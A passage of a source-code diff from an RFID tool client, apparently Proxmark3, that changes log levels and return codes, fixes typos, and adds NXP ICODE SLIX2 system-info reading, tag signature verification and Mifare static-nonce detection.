(tb1) { uint32_t sfgi = card.ats[pos] & 0x0F; uint32_t fwi = card.ats[pos] >> 4; - PrintAndLogEx(NORMAL, " - TB1 : SFGI = %d (SFGT = %s%d/fc), FWI = %d (FWT = %d/fc)", + PrintAndLogEx(SUCCESS, " - TB1 : SFGI = %d (SFGT = %s%d/fc), FWI = %d (FWT = %d/fc)", (sfgi), sfgi ? "" : "(not needed) ", sfgi ? (1 << 12) << sfgi : 0, @@ -1430,7 +1440,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { pos++; } if (tc1) { - PrintAndLogEx(NORMAL, " - TC1 : NAD is%s supported, CID is%s supported", + PrintAndLogEx(SUCCESS, " - TC1 : NAD is%s supported, CID is%s supported", (card.ats[pos] & 0x01) ? "" : " NOT", (card.ats[pos] & 0x02) ? "" : " NOT"); pos++; @@ -1444,63 +1454,63 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { tip = "-> MIFARE Plus S 2K or 4K"; } } - PrintAndLogEx(NORMAL, " - HB : %s%s", sprint_hex(card.ats + pos, card.ats[0] - pos), tip); + PrintAndLogEx(SUCCESS, " - HB : %s%s", sprint_hex(card.ats + pos, card.ats[0] - pos), tip); if (card.ats[pos] == 0xC1) { - PrintAndLogEx(NORMAL, " c1 -> Mifare or (multiple) virtual cards of various type"); - PrintAndLogEx(NORMAL, " %02x -> Length is %d bytes", card.ats[pos + 1], card.ats[pos + 1]); + PrintAndLogEx(SUCCESS, " c1 -> Mifare or (multiple) virtual cards of various type"); + PrintAndLogEx(SUCCESS, " %02x -> Length is %d bytes", card.ats[pos + 1], card.ats[pos + 1]); switch (card.ats[pos + 2] & 0xf0) { case 0x10: - PrintAndLogEx(NORMAL, " 1x -> MIFARE DESFire"); + PrintAndLogEx(SUCCESS, " 1x -> MIFARE DESFire"); break; case 0x20: - PrintAndLogEx(NORMAL, " 2x -> MIFARE Plus"); + PrintAndLogEx(SUCCESS, " 2x -> MIFARE Plus"); break; } switch (card.ats[pos + 2] & 0x0f) { case 0x00: - PrintAndLogEx(NORMAL, " x0 -> <1 kByte"); + PrintAndLogEx(SUCCESS, " x0 -> <1 kByte"); break; case 0x01: - PrintAndLogEx(NORMAL, " x1 -> 1 kByte"); + PrintAndLogEx(SUCCESS, " x1 -> 1 kByte"); break; case 0x02: - PrintAndLogEx(NORMAL, " x2 -> 2 kByte"); + PrintAndLogEx(SUCCESS, " x2 -> 2 kByte"); break; case 0x03: - PrintAndLogEx(NORMAL, " x3 -> 4 kByte"); + PrintAndLogEx(SUCCESS, " x3 -> 4 kByte"); break; case 0x04: - PrintAndLogEx(NORMAL, " x4 -> 8 kByte"); + PrintAndLogEx(SUCCESS, " x4 -> 8 kByte"); break; } switch (card.ats[pos + 3] & 0xf0) { case 0x00: - PrintAndLogEx(NORMAL, " 0x -> Engineering sample"); + PrintAndLogEx(SUCCESS, " 0x -> Engineering sample"); break; case 0x20: - PrintAndLogEx(NORMAL, " 2x -> Released"); + PrintAndLogEx(SUCCESS, " 2x -> Released"); break; } switch (card.ats[pos + 3] & 0x0f) { case 0x00: - PrintAndLogEx(NORMAL, " x0 -> Generation 1"); + PrintAndLogEx(SUCCESS, " x0 -> Generation 1"); break; case 0x01: - PrintAndLogEx(NORMAL, " x1 -> Generation 2"); + PrintAndLogEx(SUCCESS, " x1 -> Generation 2"); break; case 0x02: - PrintAndLogEx(NORMAL, " x2 -> Generation 3"); + PrintAndLogEx(SUCCESS, " x2 -> Generation 3"); break; } switch (card.ats[pos + 4] & 0x0f) { case 0x00: - PrintAndLogEx(NORMAL, " x0 -> Only VCSL supported"); + PrintAndLogEx(SUCCESS, " x0 -> Only VCSL supported"); break; case 0x01: - PrintAndLogEx(NORMAL, " x1 -> VCS, VCSL, and SVC supported"); + PrintAndLogEx(SUCCESS, " x1 -> VCS, VCSL, and SVC supported"); break; case 0x0E: - PrintAndLogEx(NORMAL, " xE -> no VCS command supported"); + PrintAndLogEx(SUCCESS, " xE -> no VCS command supported"); break; } } @@ -1543,9 +1553,9 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { if (sw == 0x9000 || sw == 0x6283 || sw == 0x6285) { if (sw == 0x9000) { - if (verbose) PrintAndLogEx(NORMAL, "------------- Application OK -----------"); + if (verbose) PrintAndLogEx(SUCCESS, "------------- Application OK -----------"); } else { - if (verbose) PrintAndLogEx(NORMAL, "----------- Application blocked --------"); + if (verbose) PrintAndLogEx(WARNING, "----------- Application blocked --------"); } PrintAIDDescriptionBuf(root, vaid, vaidlen, verbose); @@ -1588,6 +1598,12 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { if (do_nack_test) detect_classic_nackbug(!verbose); + + res = detect_classic_static_nonce(); + if (res == 1) + PrintAndLogEx(SUCCESS, "Static nonce detected"); + if (res == 2 && verbose) + PrintAndLogEx(SUCCESS, "Static nonce detection failed"); } return select_status; diff --git a/client/cmdhf14a.h b/client/cmdhf14a.h index fcea5f5cf..83fb2c69d 100644 --- a/client/cmdhf14a.h +++ b/client/cmdhf14a.h @@ -1,7 +1,7 @@ //----------------------------------------------------------------------------- // Copyright (C) 2010 iZsh -// 2011, Merlok -// 2015,216,2017 iceman, marshmellow, piwi +// 2011,2019 Merlok +// 2015,2016,2017 iceman, marshmellow, piwi // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of // the license. @@ -30,6 +30,6 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search); const char *getTagInfo(uint8_t uid); int Hf14443_4aGetCardData(iso14a_card_select_t *card); int ExchangeAPDU14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); -int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); +int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, bool silentMode); #endif diff --git a/client/cmdhf14b.c b/client/cmdhf14b.c index ba8db1f92..c57055e4b 100644 --- a/client/cmdhf14b.c +++ b/client/cmdhf14b.c @@ -528,9 +528,10 @@ static bool HF14B_Std_Info(bool verbose) { switch (status) { case 0: - PrintAndLogEx(NORMAL, " UID : %s", sprint_hex(card.uid, card.uidlen)); - PrintAndLogEx(NORMAL, " ATQB : %s", sprint_hex(card.atqb, sizeof(card.atqb))); - PrintAndLogEx(NORMAL, " CHIPID : %02X", card.chipid); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, " UID : %s", sprint_hex(card.uid, card.uidlen)); + PrintAndLogEx(SUCCESS, " ATQB : %s", sprint_hex(card.atqb, sizeof(card.atqb))); + PrintAndLogEx(SUCCESS, " CHIPID : %02X", card.chipid); print_atqb_resp(card.atqb, card.cid); isSuccess = true; break; @@ -662,9 +663,10 @@ static bool HF14B_Std_Reader(bool verbose) { switch (status) { case 0: - PrintAndLogEx(NORMAL, " UID : %s", sprint_hex(card.uid, card.uidlen)); - PrintAndLogEx(NORMAL, " ATQB : %s", sprint_hex(card.atqb, sizeof(card.atqb))); - PrintAndLogEx(NORMAL, " CHIPID : %02X", card.chipid); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, " UID : %s", sprint_hex(card.uid, card.uidlen)); + PrintAndLogEx(SUCCESS, " ATQB : %s", sprint_hex(card.atqb, sizeof(card.atqb))); + PrintAndLogEx(SUCCESS, " CHIPID : %02X", card.chipid); print_atqb_resp(card.atqb, card.cid); isSuccess = true; break; @@ -808,13 +810,13 @@ static int CmdHF14BWriteSri(const char *Cmd) { } if (blockno == 0xff) { - PrintAndLogEx(SUCCESS, "[%s] Write special block %02X [ %s ]", + PrintAndLogEx(SUCCESS, "[%s] Write special block %02X [ " _YELLOW_("%s")" ]", (isSrix4k) ? "SRIX4K" : "SRI512", blockno, sprint_hex(data, 4) ); } else { - PrintAndLogEx(SUCCESS, "[%s] Write block %02X [ %s ]", + PrintAndLogEx(SUCCESS, "[%s] Write block %02X [ " _YELLOW_("%s")" ]", (isSrix4k) ? "SRIX4K" : "SRI512", blockno, sprint_hex(data, 4) diff --git a/client/cmdhf15.c b/client/cmdhf15.c index f6c298f63..9a5665a31 100644 --- a/client/cmdhf15.c +++ b/client/cmdhf15.c @@ -31,6 +31,7 @@ #include "comms.h" // clearCommandBuffer #include "cmdtrace.h" #include "iso15693tools.h" +#include "crypto/libpcrypto.h" #include "graph.h" #include "crc16.h" // iso15 crc @@ -85,10 +86,11 @@ const productName uidmapping[] = { //I-Code SLI-S [IC id = 02] //I-Code SLI-L [IC id = 03] //I-Code SLIX [IC id = 01 + bit36 set to 1 (starting from bit0 - different from normal SLI)] + //I-Code SLIX2 [IC id = 01 + bit35 set to 1 + bit36 set to 0] //I-Code SLIX-S [IC id = 02 + bit36 set to 1] //I-Code SLIX-L [IC id = 03 + bit36 set to 1] { 0xE004000000000000LL, 16, "NXP Semiconductors Germany (Philips)" }, - { 0xE004010000000000LL, 24, "NXP(Philips); IC SL2 ICS20/ICS21(SLI) ICS2002/ICS2102(SLIX)" }, + { 0xE004010000000000LL, 24, "NXP(Philips); IC SL2 ICS20/ICS21(SLI) ICS2002/ICS2102(SLIX) ICS2602(SLIX2)" }, { 0xE004020000000000LL, 24, "NXP(Philips); IC SL2 ICS53/ICS54(SLI-S) ICS5302/ICS5402(SLIX-S)" }, { 0xE004030000000000LL, 24, "NXP(Philips); IC SL2 ICS50/ICS51(SLI-L) ICS5002/ICS5102(SLIX-L)" }, @@ -206,10 +208,22 @@ const productName uidmapping[] = { { 0, 0, "no tag-info available" } // must be the last entry }; -// fast method to just read the UID of a tag (collission detection not supported) +uint8_t nxp_public_keys[][33] = { + // ICODE SLIX2 / DNA + { + 0x04, 0x88, 0x78, 0xA2, 0xA2, 0xD3, 0xEE, 0xC3, + 0x36, 0xB4, 0xF2, 0x61, 0xA0, 0x82, 0xBD, 0x71, + 0xF9, 0xBE, 0x11, 0xC4, 0xE2, 0xE8, 0x96, 0x64, + 0x8B, 0x32, 0xEF, 0xA5, 0x9C, 0xEA, 0x6E, 0x59, 0xF0 + }, +}; + +static int CmdHF15Help(const char *Cmd); + +// fast method to just read the UID of a tag (collision detection not supported) // *buf should be large enough to fit the 64bit uid -// returns 1 if suceeded -static int getUID(uint8_t *buf) { +// returns 1 if succeeded +static bool getUID(uint8_t *buf) { PacketResponseNG resp; uint8_t data[5]; @@ -232,12 +246,14 @@ static int getUID(uint8_t *buf) { uint8_t resplen = resp.oldarg[0]; if (resplen >= 12 && CheckCrc15(resp.data.asBytes, 12)) { memcpy(buf, resp.data.asBytes + 2, 8); - return 1; + DropField(); + return true; } } } // retry - return 0; + DropField(); + return false; } // get a product description based on the UID @@ -272,7 +288,7 @@ static const char *TagErrorStr(uint8_t error) { case 0x01: return "The command is not supported"; case 0x02: - return "The command is not recognised"; + return "The command is not recognized"; case 0x03: return "The option is not supported."; case 0x0f: @@ -292,17 +308,15 @@ static const char *TagErrorStr(uint8_t error) { } } -static int CmdHF15Help(const char *Cmd); - static int usage_15_demod(void) { PrintAndLogEx(NORMAL, "Tries to demodulate / decode ISO15693, from downloaded samples.\n" "Gather samples with 'hf 15 read' / 'hf 15 record'"); - return 0; + return PM3_SUCCESS; } static int usage_15_samples(void) { PrintAndLogEx(NORMAL, "Acquire samples as Reader (enables carrier, send inquiry\n" "and download it to graphbuffer. Try 'hf 15 demod' to try to demodulate/decode signal"); - return 0; + return PM3_SUCCESS; } static int usage_15_info(void) { PrintAndLogEx(NORMAL, "Uses the optional command 'get_systeminfo' 0x2B to try and extract information\n" @@ -318,11 +332,11 @@ static int usage_15_info(void) { "\t * scan for tag\n" "Examples:\n" "\thf 15 info u"); - return 0; + return PM3_SUCCESS; } static int usage_15_record(void) { - PrintAndLogEx(NORMAL, "Record activity without enableing carrier"); - return 0; + PrintAndLogEx(NORMAL, "Record activity without enabling carrier"); + return PM3_SUCCESS; } static int usage_15_reader(void) { PrintAndLogEx(NORMAL, "This command identifies a ISO 15693 tag\n" @@ -333,23 +347,43 @@ static int usage_15_reader(void) { "\n" "Example:\n" "\thf 15 reader"); - return 0; + return PM3_SUCCESS; } static int usage_15_sim(void) { PrintAndLogEx(NORMAL, "Usage: hf 15 sim \n" "\n" "Example:\n" "\thf 15 sim E016240000000000"); - return 0; + return PM3_SUCCESS; } static int usage_15_findafi(void) { - PrintAndLogEx(NORMAL, "'hf 15 finafi' This command needs a helptext. Feel free to add one!"); - return 0; + PrintAndLogEx(NORMAL, "This command attempts to brute force AFI of an ISO15693 tag\n" + "\n" + "Usage: hf 15 findafi"); + return PM3_SUCCESS; +} +static int usage_15_writeafi(void) { + PrintAndLogEx(NORMAL, "Usage: hf 15 writeafi \n" + "\tuid (either): \n" + "\t <8B hex> full UID eg E011223344556677\n" + "\t u unaddressed mode\n" + "\t * scan for tag\n" + "\tafi#: AFI number 0-255"); + return PM3_SUCCESS; +} +static int usage_15_writedsfid(void) { + PrintAndLogEx(NORMAL, "Usage: hf 15 writedsfid \n" + "\tuid (either): \n" + "\t <8B hex> full UID eg E011223344556677\n" + "\t u unaddressed mode\n" + "\t * scan for tag\n" + "\tdsfid#: DSFID number 0-255"); + return PM3_SUCCESS; } static int usage_15_dump(void) { PrintAndLogEx(NORMAL, "This command dumps the contents of a ISO-15693 tag and save it to file\n" "\n" - "Usage: hf 15 dump [h] \n" + "Usage: hf 15 dump [h] \n" "Options:\n" "\th this help\n" "\tf filename, if no UID will be used as filename\n" @@ -357,7 +391,7 @@ static int usage_15_dump(void) { "Example:\n" "\thf 15 dump f\n" "\thf 15 dump f mydump"); - return 0; + return PM3_SUCCESS; } static int usage_15_restore(void) { const char *options[][2] = { @@ -371,18 +405,19 @@ static int usage_15_restore(void) { }; PrintAndLogEx(NORMAL, "Usage: hf 15 restore [-2] [-o] [h] [r ] [u ] [f ] [b ]"); PrintAndLogOptions(options, 7, 3); - return 0; + return PM3_SUCCESS; } static int usage_15_raw(void) { const char *options[][2] = { {"-r", "do not read response" }, {"-2", "use slower '1 out of 256' mode" }, {"-c", "calculate and append CRC" }, + {"-p", "leave the signal field ON" }, {"", "Tip: turn on debugging for verbose output"}, }; PrintAndLogEx(NORMAL, "Usage: hf 15 raw [-r] [-2] [-c] <0A 0B 0C ... hex>\n"); PrintAndLogOptions(options, 4, 3); - return 0; + return PM3_SUCCESS; } static int usage_15_read(void) { PrintAndLogEx(NORMAL, "Usage: hf 15 read [options] \n" @@ -393,7 +428,7 @@ static int usage_15_read(void) { "\t u unaddressed mode\n" "\t * scan for tag\n" "\tpage#: page number 0-255"); - return 0; + return PM3_SUCCESS; } static int usage_15_write(void) { PrintAndLogEx(NORMAL, "Usage: hf 15 write [options] \n" @@ -406,7 +441,7 @@ static int usage_15_write(void) { "\t * scan for tag\n" "\tpage#: page number 0-255\n" "\thexdata: data to be written eg AA BB CC DD"); - return 0; + return PM3_SUCCESS; } static int usage_15_readmulti(void) { PrintAndLogEx(NORMAL, "Usage: hf 15 readmulti [options] \n" @@ -418,7 +453,7 @@ static int usage_15_readmulti(void) { "\t * scan for tag\n" "\tstart#: page number to start 0-255\n" "\tcount#: number of pages"); - return 0; + return PM3_SUCCESS; } static int usage_15_csetuid(void) { PrintAndLogEx(NORMAL, "Set UID for magic Chinese card (only works with such cards)\n" @@ -429,7 +464,7 @@ static int usage_15_csetuid(void) { "\n" "Example:\n" "\thf 15 csetuid E011223344556677"); - return 0; + return PM3_SUCCESS; } /** @@ -437,7 +472,7 @@ static int usage_15_csetuid(void) { * Parameters: * **cmd command line */ -static int prepareHF15Cmd(char **cmd, uint16_t *reqlen, uint8_t *arg1, uint8_t *req, uint8_t iso15cmd) { // reqlen arg0 +static bool prepareHF15Cmd(char **cmd, uint16_t *reqlen, uint8_t *arg1, uint8_t *req, uint8_t iso15cmd) { // reqlen arg0 int temp; uint8_t uid[8] = {0x00}; uint32_t tmpreqlen = 0; @@ -464,7 +499,7 @@ static int prepareHF15Cmd(char **cmd, uint16_t *reqlen, uint8_t *arg1, uint8_t * switch (**cmd) { case 0: PrintAndLogEx(WARNING, "missing addr"); - return 0; + return false; break; case 'u': case 'U': @@ -479,10 +514,10 @@ static int prepareHF15Cmd(char **cmd, uint16_t *reqlen, uint8_t *arg1, uint8_t * if (!getUID(uid)) { PrintAndLogEx(WARNING, "No tag found"); - return 0; + return false; } memcpy(&req[tmpreqlen], uid, sizeof(uid)); - PrintAndLogEx(NORMAL, "Detected UID %s", sprintUID(NULL, uid)); + PrintAndLogEx(SUCCESS, "Detected UID %s", sprintUID(NULL, uid)); tmpreqlen += sizeof(uid); break; default: @@ -495,7 +530,7 @@ static int prepareHF15Cmd(char **cmd, uint16_t *reqlen, uint8_t *arg1, uint8_t * uid[7 - i] = temp & 0xff; } - PrintAndLogEx(NORMAL, "Using UID %s", sprintUID(NULL, uid)); + PrintAndLogEx(SUCCESS, "Using UID %s", sprintUID(NULL, uid)); memcpy(&req[tmpreqlen], uid, sizeof(uid)); tmpreqlen += sizeof(uid); break; @@ -506,7 +541,7 @@ static int prepareHF15Cmd(char **cmd, uint16_t *reqlen, uint8_t *arg1, uint8_t * while (**cmd == ' ' || **cmd == '\t')(*cmd)++; *reqlen = tmpreqlen; - return 1; + return true; } // Mode 3 @@ -520,7 +555,7 @@ static int CmdHF15Demod(const char *Cmd) { int max = 0, maxPos = 0; int skip = 4; - if (GraphTraceLen < 1000) return 0; + if (GraphTraceLen < 1000) return PM3_ESOFT; // First, correlate for SOF for (i = 0; i < 1000; i++) { @@ -534,7 +569,7 @@ static int CmdHF15Demod(const char *Cmd) { } } - PrintAndLogEx(NORMAL, "SOF at %d, correlation %zu", maxPos, max / (ARRAYLEN(FrameSOF) / skip)); + PrintAndLogEx(INFO, "SOF at %d, correlation %zu", maxPos, max / (ARRAYLEN(FrameSOF) / skip)); i = maxPos + ARRAYLEN(FrameSOF) / skip; int k = 0; @@ -557,7 +592,7 @@ static int CmdHF15Demod(const char *Cmd) { corr1 *= 4; if (corrEOF > corr1 && corrEOF > corr0) { - PrintAndLogEx(NORMAL, "EOF at %d", i); + PrintAndLogEx(INFO, "EOF at %d", i); break; } else if (corr1 > corr0) { i += ARRAYLEN(Logic1) / skip; @@ -571,22 +606,22 @@ static int CmdHF15Demod(const char *Cmd) { mask = 0x01; } if ((i + (int)ARRAYLEN(FrameEOF)) >= GraphTraceLen) { - PrintAndLogEx(NORMAL, "ran off end!"); + PrintAndLogEx(INFO, "ran off end!"); break; } } if (mask != 0x01) { PrintAndLogEx(WARNING, "Warning, uneven octet! (discard extra bits!)"); - PrintAndLogEx(NORMAL, " mask = %02x", mask); + PrintAndLogEx(INFO, " mask = %02x", mask); } - PrintAndLogEx(NORMAL, "%d octets", k); + PrintAndLogEx(INFO, "%d octets", k); for (i = 0; i < k; i++) - PrintAndLogEx(NORMAL, "# %2d: %02x ", i, outBuf[i]); + PrintAndLogEx(SUCCESS, "# %2d: %02x ", i, outBuf[i]); - PrintAndLogEx(NORMAL, "CRC %04x", Crc15(outBuf, k - 2)); - return 0; + PrintAndLogEx(SUCCESS, "CRC %04x", Crc15(outBuf, k - 2)); + return PM3_SUCCESS; } // * Acquire Samples as Reader (enables carrier, sends inquiry) @@ -598,8 +633,183 @@ static int CmdHF15Samples(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_HF_ISO15693_ACQ_RAW_ADC, NULL, 0); - getSamples(0, false); - return 0; + getSamples(0, true); + return PM3_SUCCESS; +} + +// Get NXP system information from SLIX2 tag/VICC +static int NxpSysInfo(uint8_t *uid) { + PacketResponseNG resp; + uint8_t *recv; + uint8_t req[PM3_CMD_DATA_SIZE] = {0}; + uint16_t reqlen; + uint32_t status; + uint8_t arg1 = 1; + + if (uid != NULL) { + reqlen = 0; + req[reqlen++] |= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_NONINVENTORY | ISO15_REQ_ADDRESS; + req[reqlen++] = ISO15_CMD_GETNXPSYSTEMINFO; + req[reqlen++] = 0x04; // IC manufacturer code + memcpy(req + 3, uid, 8); // add UID + reqlen += 8; + + AddCrc15(req, reqlen); + reqlen += 2; + + //PrintAndLogEx(NORMAL, "cmd %s", sprint_hex(req, reqlen) ); + + clearCommandBuffer(); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); + + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(WARNING, "iso15693 card select failed"); + DropField(); + return PM3_ETIMEOUT; + } + + DropField(); + + status = resp.oldarg[0]; + + if (status < 2) { + PrintAndLogEx(WARNING, "iso15693 card doesn't answer to NXP systeminfo command"); + return PM3_EWRONGANSVER; + } + + recv = resp.data.asBytes; + + if (recv[0] & ISO15_RES_ERROR) { + PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); + return PM3_EWRONGANSVER; + } + + bool support_signature = (recv[5] & 0x01); + bool support_easmode = (recv[4] & 0x03); + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, " NXP SYSINFO : %s", sprint_hex(recv, 8)); + PrintAndLogEx(NORMAL, " Password protection configuration:"); + PrintAndLogEx(NORMAL, " * Page L read%s password protected", ((recv[2] & 0x01) ? "" : " not")); + PrintAndLogEx(NORMAL, " * Page L write%s password protected", ((recv[2] & 0x02) ? "" : " not")); + PrintAndLogEx(NORMAL, " * Page H read%s password protected", ((recv[2] & 0x08) ? "" : " not")); + PrintAndLogEx(NORMAL, " * Page H write%s password protected", ((recv[2] & 0x20) ? "" : " not")); + + PrintAndLogEx(NORMAL, " Lock bits:"); + PrintAndLogEx(NORMAL, " * AFI%s locked", ((recv[3] & 0x01) ? "" : " not")); // AFI lock bit + PrintAndLogEx(NORMAL, " * EAS%s locked", ((recv[3] & 0x02) ? "" : " not")); // EAS lock bit + PrintAndLogEx(NORMAL, " * DSFID%s locked", ((recv[3] & 0x03) ? "" : " not")); // DSFID lock bit + PrintAndLogEx(NORMAL, " * Password protection configuration%s locked", ((recv[3] & 0x04) ? "" : " not")); // Password protection pointer address and access conditions lock bit + + PrintAndLogEx(NORMAL, " Features:"); + PrintAndLogEx(NORMAL, " * User memory password protection%s supported", ((recv[4] & 0x01) ? "" : " not")); + PrintAndLogEx(NORMAL, " * Counter feature%s supported", ((recv[4] & 0x02) ? "" : " not")); + PrintAndLogEx(NORMAL, " * EAS ID%s supported by EAS ALARM command", support_easmode ? "" : " not"); + + PrintAndLogEx(NORMAL, " * EAS password protection%s supported", ((recv[4] & 0x04) ? "" : " not")); + PrintAndLogEx(NORMAL, " * AFI password protection%s supported", ((recv[4] & 0x10) ? "" : " not")); + PrintAndLogEx(NORMAL, " * Extended mode%s supported by INVENTORY READ command", ((recv[4] & 0x20) ? "" : " not")); + PrintAndLogEx(NORMAL, " * EAS selection%s supported by extended mode in INVENTORY READ command", ((recv[4] & 0x40) ? "" : " not")); + PrintAndLogEx(NORMAL, " * READ SIGNATURE command%s supported", support_signature ? "" : " not"); + + PrintAndLogEx(NORMAL, " * Password protection for READ SIGNATURE command%s supported", ((recv[5] & 0x02) ? "" : " not")); + PrintAndLogEx(NORMAL, " * STAY QUIET PERSISTENT command%s supported", ((recv[5] & 0x03) ? "" : " not")); + PrintAndLogEx(NORMAL, " * ENABLE PRIVACY command%s supported", ((recv[5] & 0x10) ? "" : " not")); + PrintAndLogEx(NORMAL, " * DESTROY command%s supported", ((recv[5] & 0x20) ? "" : " not")); + PrintAndLogEx(NORMAL, " * Additional 32 bits feature flags are%s transmitted", ((recv[5] & 0x80) ? "" : " not")); + + if (support_easmode) { + reqlen = 0; + req[reqlen++] |= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_NONINVENTORY | ISO15_REQ_ADDRESS; + req[reqlen++] = ISO15_CMD_EASALARM; + req[reqlen++] = 0x04; // IC manufacturer code + memcpy(req + 3, uid, 8); // add UID + reqlen += 8; + + AddCrc15(req, reqlen); + reqlen += 2; + + //PrintAndLogEx(NORMAL, "cmd %s", sprint_hex(req, reqlen) ); + + clearCommandBuffer(); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); + + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(WARNING, "iso15693 card select failed"); + } else { + status = resp.oldarg[0]; + + PrintAndLogEx(NORMAL, ""); + + if (status < 2) { + PrintAndLogEx(INFO, " EAS (Electronic Article Surveillance) is not active"); + } else { + recv = resp.data.asBytes; + + if (!(recv[0] & ISO15_RES_ERROR)) { + PrintAndLogEx(INFO, " EAS (Electronic Article Surveillance) is active."); + PrintAndLogEx(INFO, " EAS sequence: %s", sprint_hex(recv + 1, 32)); + } + } + } + } + + if (support_signature) { + // Check if we can also read the signature + reqlen = 0; + req[reqlen++] |= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_NONINVENTORY | ISO15_REQ_ADDRESS; + req[reqlen++] = ISO15_CMD_READSIGNATURE; + req[reqlen++] = 0x04; // IC manufacturer code + memcpy(req + 3, uid, 8); // add UID + reqlen += 8; + + AddCrc15(req, reqlen); + reqlen += 2; + + //PrintAndLogEx(NORMAL, "cmd %s", sprint_hex(req, reqlen) ); + + clearCommandBuffer(); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); + + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(WARNING, "iso15693 card select failed"); + DropField(); + return PM3_ETIMEOUT; + } + + DropField(); + + status = resp.oldarg[0]; + + if (status < 2) { + PrintAndLogEx(WARNING, "iso15693 card doesn't answer to READ SIGNATURE command"); + return PM3_EWRONGANSVER; + } + + recv = resp.data.asBytes; + + if (recv[0] & ISO15_RES_ERROR) { + PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); + return PM3_EWRONGANSVER; + } + + uint8_t signature[32] = {0x00}; + memcpy(signature, recv + 1, 32); + + int res = ecdsa_signature_r_s_verify(MBEDTLS_ECP_DP_SECP128R1, nxp_public_keys[0], uid, 8, signature, 32, false); + bool is_valid = (res == 0); + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, " Tag Signature"); + PrintAndLogEx(NORMAL, " IC signature public key name : NXP ICODE SLIX2 / DNA"); + PrintAndLogEx(NORMAL, " IC signature public key value : %s", sprint_hex(nxp_public_keys[0], 33)); + PrintAndLogEx(NORMAL, " Elliptic curve parameters : NID_secp128r1"); + PrintAndLogEx(NORMAL, " TAG IC Signature : %s", sprint_hex(signature, 32)); + PrintAndLogEx(NORMAL, " Signature verification %s", (is_valid) ? _GREEN_("successful") : _RED_("failed")); + } + } + + return PM3_SUCCESS; } /** @@ -618,11 +828,12 @@ static int CmdHF15Info(const char *Cmd) { uint8_t arg1 = 1; char cmdbuf[100] = {0}; char *cmd = cmdbuf; + uint8_t uid[8] = {0, 0, 0, 0, 0, 0, 0, 0}; strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); if (!prepareHF15Cmd(&cmd, &reqlen, &arg1, req, ISO15_CMD_SYSINFO)) - return 0; + return PM3_SUCCESS; AddCrc15(req, reqlen); reqlen += 2; @@ -634,59 +845,72 @@ static int CmdHF15Info(const char *Cmd) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { PrintAndLogEx(WARNING, "iso15693 card select failed"); - return 1; + DropField(); + return PM3_ETIMEOUT; } + DropField(); + uint32_t status = resp.oldarg[0]; if (status < 2) { PrintAndLogEx(WARNING, "iso15693 card doesn't answer to systeminfo command"); - return 1; + return PM3_EWRONGANSVER; } recv = resp.data.asBytes; if (recv[0] & ISO15_RES_ERROR) { PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); - return 3; + return PM3_EWRONGANSVER; } - PrintAndLogEx(NORMAL, " UID : %s", sprintUID(NULL, recv + 2)); - PrintAndLogEx(NORMAL, " TYPE : %s", getTagInfo_15(recv + 2)); - PrintAndLogEx(NORMAL, " SYSINFO : %s", sprint_hex(recv, status - 2)); + memcpy(uid, recv + 2, sizeof(uid)); + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, " UID : %s", sprintUID(NULL, uid)); + PrintAndLogEx(SUCCESS, " TYPE : %s", getTagInfo_15(recv + 2)); + PrintAndLogEx(SUCCESS, " SYSINFO : %s", sprint_hex(recv, status - 2)); // DSFID if (recv[1] & 0x01) - PrintAndLogEx(NORMAL, " - DSFID supported [0x%02X]", recv[10]); + PrintAndLogEx(SUCCESS, " - DSFID supported [0x%02X]", recv[10]); else - PrintAndLogEx(NORMAL, " - DSFID not supported"); + PrintAndLogEx(SUCCESS, " - DSFID not supported"); // AFI if (recv[1] & 0x02) - PrintAndLogEx(NORMAL, " - AFI supported [0x%02X]", recv[11]); + PrintAndLogEx(SUCCESS, " - AFI supported [0x%02X]", recv[11]); else - PrintAndLogEx(NORMAL, " - AFI not supported"); + PrintAndLogEx(SUCCESS, " - AFI not supported"); // IC reference if (recv[1] & 0x08) - PrintAndLogEx(NORMAL, " - IC reference supported [0x%02X]", recv[14]); + PrintAndLogEx(SUCCESS, " - IC reference supported [0x%02X]", recv[14]); else - PrintAndLogEx(NORMAL, " - IC reference not supported"); + PrintAndLogEx(SUCCESS, " - IC reference not supported"); // memory if (recv[1] & 0x04) { - PrintAndLogEx(NORMAL, " - Tag provides info on memory 